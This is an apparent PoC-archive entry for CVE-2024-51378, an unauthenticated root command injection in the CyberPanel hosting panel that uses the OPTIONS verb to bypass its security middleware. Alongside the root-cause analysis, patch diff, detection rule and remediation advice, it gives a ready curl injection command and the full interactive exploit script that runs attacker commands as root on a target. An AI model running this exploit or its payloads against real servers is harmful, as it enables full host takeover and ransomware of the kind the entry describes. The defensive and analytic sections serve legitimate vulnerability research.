PoC Archive PoC Archive
CVE-2024-51378 category: web CVSS 10 (CRITICAL) KEV Ransomware EPSS 95%
Patched

CyberPanel Pre-Auth Remote Code Execution via getresetstatus Command Injection (CVE-2024-51378)

Published: 2026-08-09 • Researcher: Luka Petrovic (refr4g)

Target software CyberPanel (aka Cyber Panel), by CyberPersons — Django-based hosting control panel
Affected versions All versions through 2.3.6, plus unpatched 2.3.7 (any build before commit 1c0c6cb, 2024-10-23)
Status Patched (commit 1c0c6cb; CyberPanel 2.3.8 and later)
Severity Critical · CVSS 10
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2024-11-01
Author / ResearcherLuka Petrovic (refr4g)
CVE / AdvisoryCVE-2024-51378
Categoryweb
SeverityCritical
CVSS Score10.0 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
StatusPatched (commit 1c0c6cb; CyberPanel 2.3.8 and later)
Tagscyberpanel, rce, command-injection, preauth, unauthenticated, options-method, secmiddleware-bypass, statusfile, kev, ransomware, psaux, python, httpx, cve-2024-51378
RelatedN/A — sibling of CVE-2024-51567 (upgrademysqlstatus) and CVE-2024-51568 (completePath), the other CyberPanel pre-auth command injections from the same October 2024 cluster

Affected Target

FieldValue
Software / SystemCyberPanel (aka Cyber Panel), by CyberPersons — Django-based hosting control panel
Versions AffectedAll versions through 2.3.6, plus unpatched 2.3.7 (any build before commit 1c0c6cb, 2024-10-23)
Language / PlatformPython 3 / Django on Linux (Ubuntu, CentOS, AlmaLinux); PoC is Python 3
Authentication RequiredNo
Network Access RequiredYes — HTTP/HTTPS reachability to the CyberPanel web interface (default port 8090)

Summary

CyberPanel exposes two DNS/FTP reset-status endpoints, /dns/getresetstatus and /ftp/getresetstatus, whose handlers read a JSON statusfile property straight out of the request body and concatenate it into a shell command executed with sudo. Neither handler performed any session or ACL check, and the panel security middleware (secMiddleware) only inspects POST requests — so an unauthenticated attacker who sends the request with the OPTIONS verb reaches the vulnerable code path unimpeded and executes arbitrary commands as root. Command output is returned in-band in the requestStatus field of the JSON response, making this a clean, fully interactive pre-auth RCE. Rated CVSS 10.0 Critical, it was mass-exploited in the wild within days of disclosure by the PSAUX ransomware campaign against roughly 22,000 exposed instances, and CISA added it to the Known Exploited Vulnerabilities catalog on 2024-12-04 with knownRansomwareCampaignUse = Known.

Vulnerability Details

Root Cause

CWE-78 OS command injection through unsanitized string concatenation, compounded by a completely missing authorization check (CISA classifies the KEV entry under CWE-276, incorrect default permissions). The pre-patch getresetstatus handler in both dns/views.py and ftp/views.py reads as follows:

Python
1
2
3
4
5
def getresetstatus(request):
    try:
        data = json.loads(request.body)
        statusfile = data['statusfile']
        installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)

Three defects stack up here:

  1. No authorization at all. Unlike every neighbouring view in the same file (saveCFConfigs, getCurrentRecordsForDomainCloudFlare, and others all begin with userID = request.session['userID']), getresetstatus never touches the session. The trailing except KeyError: return redirect(loadLoginPage) looks like an auth guard but is dead code, because no KeyError can be raised by a missing session key that is never read.
  2. Shell metacharacters reach a shell. statusfile is concatenated directly into "sudo cat " + statusfile and handed to ProcessUtilities.outputExecutioner, which evaluates it as a shell command line. A statusfile value of ; id; # produces sudo cat ; id; #, where the leading ; terminates the harmless cat, the injected command runs, and the trailing # comments out any remainder.
  3. Execution is as root. The command line is prefixed with sudo, and CyberPanel grants its service account passwordless sudo, so injected commands execute with full root privilege rather than as the web user.

The secMiddleware request filter that would normally screen malicious panel input is, per the NVD wording, “only for a POST request” — so it never inspects the OPTIONS request the exploit sends. Django routes the OPTIONS verb to the same view function, since the view is a plain function with no method restriction (no @require_POST and no method dispatch).

Output is returned to the caller because every response branch echoes the captured command output back verbatim:

Python
1
2
3
4
5
6
7
        else:
            final_json = json.dumps({
                'abort': 0,
                'error_message': "None",
                'requestStatus': installStatus,
            })
            return HttpResponse(final_json)

The fix (commit 1c0c6cb, 2024-10-23, touching only dns/views.py and ftp/views.py) does not sanitize statusfile at all — it prepends the missing authorization gate so that unauthenticated callers never reach the concatenation:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 def getresetstatus(request):
     try:
+
+        userID = request.session['userID']
+
+        currentACL = ACLManager.loadedACL(userID)
+
+        if currentACL['admin'] == 1:
+            pass
+        else:
+            return ACLManager.loadErrorJson('FilemanagerAdmin', 0)
+
         data = json.loads(request.body)
         statusfile = data['statusfile']
         installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile)

Note that the command injection itself remains in patched builds; it is merely gated behind an admin ACL check. Anyone who obtains admin session context can still inject shell metacharacters via statusfile.

Attack Vector

  1. CSRF token harvestGET / returns a Django csrftoken cookie. The PoC pulls it out of the response cookie jar; no credentials are involved.
  2. Injection via OPTIONS — a single request to /dns/getresetstatus or /ftp/getresetstatus carrying X-CSRFToken, Content-Type: application/json, a Referer matching the target base URL (Django CSRF referer checking on HTTPS), and the body {"statusfile": "; <cmd>; #"}. The verb is OPTIONS, which is the actual bypass: it sidesteps secMiddleware, which only screens POST bodies.
  3. In-band output — the JSON response contains requestStatus holding the stdout/stderr of the injected command, so the operator gets a synchronous read-write command channel with no callback required.

The PoC whitelists the endpoint argument to exactly the two genuinely vulnerable paths and refuses anything else, so it cannot be pointed at arbitrary routes.

Impact

Unauthenticated remote code execution as root on the CyberPanel host. Because CyberPanel is a hosting control panel, a single compromised instance typically exposes every website, database, mail account, DNS zone, and FTP credential it manages, plus the OpenLiteSpeed configuration and any tenant data on the box. Real-world exploitation confirmed this severity: within about a week of the October 2024 disclosure the PSAUX ransomware campaign used this bug to encrypt thousands of internet-facing CyberPanel servers, which is why the KEV entry is flagged for known ransomware use and why EPSS sits at roughly 0.95 (99.9th percentile).

Environment / Lab Setup

Output
OS:          Ubuntu 20.04 LTS (as tested by the upstream researcher)
Target:      CyberPanel v2.3.5, v2.3.6, or unpatched v2.3.7 on port 8090
Attacker:    Any Linux host with Python 3 and the httpx library
Tools:       CVE-2024-51378.py (this folder), httpx; optionally Burp Suite to observe the OPTIONS request

Setup Steps

Shell script
1
2
3
4
5
sh <(curl https://cyberpanel.net/install.sh || wget -O - https://cyberpanel.net/install.sh)

grep -A4 'def getresetstatus' /usr/local/CyberCP/dns/views.py

pip3 install httpx

Proof of Concept

See CVE-2024-51378.py in this folder — mirrored byte-identically from refr4g/CVE-2024-51378. upstream-README.md is the unmodified upstream README.

Step-by-Step Reproduction

  1. Run the exploit against the target, naming one of the two vulnerable endpoints

    Shell script
    1
    
    python3 CVE-2024-51378.py http://target.com:8090 /ftp/getresetstatus

    The script reachability-checks the target, harvests the csrftoken cookie from GET /, and drops into an interactive prompt.

  2. Issue commands at the interactive prompt — each line becomes one OPTIONS request; the response requestStatus value is printed.

    Output
    $> id
    $> hostname
    $> cat /etc/os-release
  3. Equivalent single request with curl, to confirm the mechanism independently of the script:

    Shell script
    1
    2
    3
    4
    5
    6
    
    TOKEN=$(curl -sk -c - http://target.com:8090/ | awk '/csrftoken/{print $7}')
    curl -sk -X OPTIONS "http://target.com:8090/ftp/getresetstatus" \
      -H "X-CSRFToken: $TOKEN" \
      -H "Content-Type: application/json" \
      -H "Referer: http://target.com:8090" \
      --data '{"statusfile": "; id; #"}'

Exploit Code

Full, unmodified upstream source is CVE-2024-51378.py. The whole vulnerability sits in these two functions:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
allowed_endpoints = ["/ftp/getresetstatus", "/dns/getresetstatus"]

def get_token():
    response = client.get("/")
    return response.cookies.get("csrftoken")

def rce(client, csrf_token, cmd, endpoint):
    headers = {
        "X-CSRFToken": csrf_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url)
    }
    payload = '{"statusfile": "; %s; #"}' % cmd
    response = client.request("OPTIONS", endpoint, headers=headers, data=payload)
    return response.json().get("requestStatus")

csrf_token = get_token()
...
while True:
    cmd = input(f"{YELLOW}$> {RESET}")
    print(rce(client, csrf_token, cmd, endpoint))

The client.request("OPTIONS", ...) call is the entire bypass — swapping it for POST puts the request back under secMiddleware scrutiny.

Expected Output

Output
CVE-2024-51378 - Remote Code Execution Exploit
Author: Luka Petrovic (refr4g)

$> id
uid=0(root) gid=0(root) groups=0(root)

$> hostname
cyberpanel-target

Detection & Indicators of Compromise

Output
"OPTIONS /dns/getresetstatus HTTP/1.1" 200
"OPTIONS /ftp/getresetstatus HTTP/1.1" 200

{"statusfile": "; <command>; #"}

sudo: cyberpanel : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/bin/cat ; <injected>

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CyberPanel CVE-2024-51378 pre-auth getresetstatus command injection";
  flow:established,to_server; content:"OPTIONS"; http_method;
  content:"getresetstatus"; http_uri;
  content:"statusfile"; http_client_body;
  pcre:"/statusfile\"?\s*:\s*\"[^\"]*[;|&`$]/i";
  sid:9000121; rev:1;)

Remediation

ActionDetail
PatchUpgrade to CyberPanel 2.3.8 or later (2.3.9 is the confirmed patched release), or apply commit 1c0c6cb, which adds the missing session and admin-ACL check to getresetstatus in dns/views.py and ftp/views.py.
WorkaroundBlock the OPTIONS method to /dns/getresetstatus and /ftp/getresetstatus at the reverse proxy or WAF, and reject request bodies where statusfile contains shell metacharacters. Never expose the panel port (8090) to the internet — restrict it to a VPN or management CIDR allowlist.
Config HardeningAssume compromise on any instance that was internet-facing while unpatched: rotate all panel, database, FTP, and mail credentials, audit cron jobs and authorized_keys, and review for PSAUX ransomware artifacts. Reduce the passwordless sudo grant for the panel service account so a future injection is not automatically root. Restrict the Django secMiddleware bypass surface by enforcing method allowlists in front of the panel.

References

Notes

  • Verified this session. The full upstream source was read directly (not just repo metadata) before writing this entry, and the two files in this folder are byte-identical mirrors of the upstream repository confirmed with diff against a fresh clone.
  • Malware screen — clean. The 69-line script contains no eval, no exec, and no subprocess/os.system use of any kind; it makes no remote code or payload fetch; it reads no local credential store, SSH key, or environment secret and exfiltrates nothing; there is no miner, no persistence, no destructive action, and no committed binary or archive in the repository. The only third-party dependency is httpx, a mainstream correctly-spelled PyPI package (no typosquat), alongside the standard-library argparse and sys. There is no hardcoded infrastructure or callback whatsoever — the target URL and every command are supplied by the operator on the command line and at the interactive prompt, and all traffic goes only to the operator-specified host. The endpoint argument is whitelisted to the two genuinely vulnerable paths and the script exits on anything else.
  • The OPTIONS verb is the actual bypass, and it is easy to miss when skimming the code. NVD states the reason plainly: the request evades “secMiddleware (which is only for a POST request)”. Reproducing this with POST will fail against a target where the middleware is active, so any detection tuned only for POST bodies misses the real attack.
  • Author credibility: Luka Petrovic (refr4g, GitHub account since 2020, commit identity 63981656+refr4g@users.noreply.github.com, blog at attacke.rs / refr4g.github.io) published his own technical write-up plus a PoC video, and his write-up is cited as an official reference on the NVD record for this CVE.
  • The patch does not fix the injection. Commit 1c0c6cb adds an admin-ACL gate but leaves "sudo cat " + statusfile intact, so statusfile remains a root command-injection sink for any authenticated admin context on current builds. Treat panel admin access as root-equivalent.
  • Version wording is deliberately commit-based. NVD says “before 1c0c6cb” rather than naming a release because 2.3.7 exists in both vulnerable and patched builds; the NVD text spells this out as “Versions through 2.3.6 and (unpatched) 2.3.7 are affected.” Version-number-only inventory checks are therefore unreliable for this CVE — verify the presence of the ACL check in getresetstatus instead.
  • Sibling CVEs: the same October 2024 review of CyberPanel produced CVE-2024-51567 (upgrademysqlstatus command injection) and CVE-2024-51568 (completePath command injection). A host vulnerable to this bug is very likely vulnerable to those too; patching only this endpoint is insufficient.
CVE-2024-51378.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python3

# CVE-2024-51378 Remote Code Execution Exploit
# Exploit found date: 10/23/2024
# Tested on: Ubuntu 20.04, CyberPanel v2.3.5, v2.3.6, v2.3.7 (before patch)
# Author: Luka Petrovic (refr4g)

import argparse
import httpx
import sys

RED = "\033[91m"
GREEN = "\033[92m"
CYAN = "\033[96m"
MAGENTA = "\033[95m"
YELLOW = "\033[93m"
RESET = "\033[0m"

print(f"{RED}CVE-2024-51378{RESET} - Remote Code Execution Exploit")
print(f"{CYAN}Author:{RESET} {GREEN}Luka Petrovic (refr4g){RESET}")
print()

allowed_endpoints = ["/ftp/getresetstatus", "/dns/getresetstatus"]

parser = argparse.ArgumentParser()
parser.add_argument("target", help=f"{CYAN}Target URL (with http/https prefix){RESET}")
parser.add_argument("endpoint", help=f"{CYAN}Endpoint to target, choose from {allowed_endpoints}{RESET}")
args = parser.parse_args()

if args.endpoint not in allowed_endpoints:
    print(f"{RED}Error: Invalid endpoint '{args.endpoint}'.{RESET}")
    parser.print_help()
    sys.exit(1)

target = args.target
endpoint = args.endpoint

client = httpx.Client(base_url=target, verify=False)

try:
    response = client.get("/")
    response.raise_for_status()
except httpx.RequestError:
    print(f"{RED}Error: Unable to reach the target {target}. Please check the URL and your connection.{RESET}")
    sys.exit(1)

def get_token():
    response = client.get("/")
    return response.cookies.get("csrftoken")

def rce(client, csrf_token, cmd, endpoint):
    headers = {
        "X-CSRFToken": csrf_token,
        "Content-Type": "application/json",
        "Referer": str(client.base_url)
    }
    payload = '{"statusfile": "; %s; #"}' % cmd
    response = client.request("OPTIONS", endpoint, headers=headers, data=payload)
    return response.json().get("requestStatus")

csrf_token = get_token()
if not csrf_token:
    print(f"{RED}Failed to retrieve CSRF token. Exiting.{RESET}")
    sys.exit(1)

while True:
    cmd = input(f"{YELLOW}$> {RESET}")
    print(rce(client, csrf_token, cmd, endpoint))